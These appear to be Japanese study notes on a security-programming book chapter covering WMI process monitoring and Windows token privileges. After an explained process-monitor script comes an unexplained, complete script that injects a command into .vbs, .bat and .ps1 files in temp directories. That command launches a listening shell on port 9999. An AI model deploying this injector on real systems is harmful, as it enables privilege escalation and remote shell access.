サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 10章 勉強まとめ
WMIを使用したプロセス監視,Windowsにおけるトークンと権限
WMI(Windows Management Instrumentation)は、Windows OSにおけるシステム管理のための共通基盤アーキテクチャであり、システムに関するさまざまなインベントリ情報(ハードウェアやソフトウェアの情報といったシステム情報のほか、プロセスやサービス、ユーザーやグループといった動的な情報まで)を、取得・管理する機能を提供している(WMIは、システム管理のためのオープンな標準規約WBEM:Web-Based Enterprise ManagementをWindows OS向けに実装したもの)。
引用元:
Tech TIPS:WindowsでWMIとwmicコマンドを使ってシステムを管理する(基本編) - @IT
# -*- coding:utf-8 -*- import win32con import win32api import win32security import wmi import sys import os def get_process_privileges(pid): try: #対象のプロセスへのハンドルを取得 hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid) #メインのプロセストークンを開く htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY) #有効化されている権限のリストを取得 privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges) #権限をチェックして、有効化されているものだけを出力するループ priv_list = "" for i in privs: #権限が有効化されているかチェック if i[1] == 3: priv_list += "{}|".format(win32security.LookupPrivilegeName(None,i[0])) except: priv_list = "N/A" return priv_list def log_to_file(message): fd = open("process_monitor_log.csv", "ab") fd.write("{}\r\n".format(message).encode()) fd.close() return #ログファイルのヘッダーの作成 log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges") #WMIインターフェースのインスタンス化 c = wmi.WMI() #プロセス監視の開始 process_watcher = c.Win32_Process.watch_for("creation") while True: try: new_process = process_watcher() proc_owner = new_process.GetOwner() proc_owner = "{0}\\{1}".format(proc_owner[0], proc_owner[2]) create_date = new_process.CreationDate executable = new_process.ExecutablePath cmdline = new_process.CommandLine pid = new_process.ProcessId parent_pid = new_process.ParentProcessId privileges = get_process_privileges(pid) process_log_message = "{0},{1},{2},{3},{4},{5},{6}\r\n".format(create_date, proc_owner, executable, cmdline, pid, parent_pid, privileges) print(process_log_message) except: pass
import win32con
import win32api
import win32security
pywin32をインポートすると使えるようになるモジュール。Windowsが提供するAPIを利用できる。
8章でやったように、ctypesを用いてネイティブAPI呼び出しに置き換えることを出来る。
モジュールの詳細は以下参照。
hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)
対象プロセスへのハンドルを取得。
win32api__OpenProcess_meth.html
htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
メインのプロセストークンを取得。
win32security__OpenProcessToken_meth.html
desiredAccessに関しては以下参照。
Access Rights for Access-Token Objects (Windows)
privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)
有効化されている権限のリストを取得。
win32security__GetTokenInformation_meth.html
TOKEN_INFORMATION_CLASS enumeration (Windows)
TOKEN_PRIVILEGES structure (Windows)
win32security.LookupPrivilegeName(None,i[0])
権限の名前を取得。
win32security__LookupPrivilegeName_meth.html
import wmi
c = wmi.WMI()
wmiを使う最初の流れ。
日本語の情報が少なくて苦戦。
Contents — WMI v1.4.9 documentation
process_watcher = c.Win32_Process.watch_for("creation")
プロセスの生成と終了のイベントを監視できる。詳細な情報が欲しい場合は、"operation"と指定する。
http://timgolden.me.uk/python/wmi/tutorial.html#monitoring
new_process = process_watcher()
新しいプロセスのイベントを取得。
proc_owner = new_process.GetOwner()
create_date = new_process.CreationDate
executable = new_process.ExecutablePath
cmdline = new_process.CommandLine
pid = new_process.ProcessId
parent_pid = new_process.ParentProcessId
新しいプロセスのイベントは、WMIのWin32_Processクラスが情報を持っているらしい。
英語で読みづらい……と思っていたら、日本語で解説してくれているのを発見。ありがたい。
# -*- coding:utf-8 -*- # こちらのコードをもとに修正を加えた: # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html import tempfile import threading import win32file import win32con import os # 共通の一時ディレクトリ dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()] # ファイルへの変更に関する定数 FILE_CREATED = 1 FILE_DELETED = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 # 拡張子ベースでインジェクションする対象を選択する file_types = {} command = "C:\\WINDOWS\\TEMP\\bhnet.exe –l –p 9999 –c" file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"{}\")\r\n".format(command)] file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n{}\r\n".format(command)] file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"{}\"".format(command)] def inject_code(full_filename,extension,contents): # すでに特定のマーカーが対象のファイルに含まれているか? if file_types[extension][0] in contents: return # マーカーはない。マーカーとコードをインジェクションする full_contents = file_types[extension][0] full_contents += file_types[extension][1] full_contents += contents fd = open(full_filename,"wb") fd.write(full_contents) fd.close() print("[\o/] Injected code.") return def start_monitor(path_to_watch): # フォルダを監視するスレッド本体 FILE_LIST_DIRECTORY = 0x0001 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None) while 1: try: results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action,file_name in results: full_filename = os.path.join(path_to_watch, file_name) if action == FILE_CREATED: print("[ + ] Created {}".format(full_filename)) elif action == FILE_DELETED: print("[ - ] Deleted {}".format(full_filename)) elif action == FILE_MODIFIED: print("[ * ] Modified {}".format(full_filename)) # ファイル内容のダンプ出力 print("[vvv] Dumping contents...") try: fd = open(full_filename,"rb") contents = fd.read() fd.close() print(contents) print("[^^^] Dump complete.") except: print("[!!!] Failed.") filename,extension = os.path.splitext(full_filename) if extension in file_types: inject_code(full_filename,extension,contents) elif action == FILE_RENAMED_FROM: print("[ > ] Renamed from: {}".format(full_filename)) elif action == FILE_RENAMED_TO: print("[ < ] Renamed to: {}".format(full_filename)) else: print("[???] Unknown: {}".format(full_filename)) except: pass for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print("Spawning monitoring thread for path: {}".format(path)) monitor_thread.start()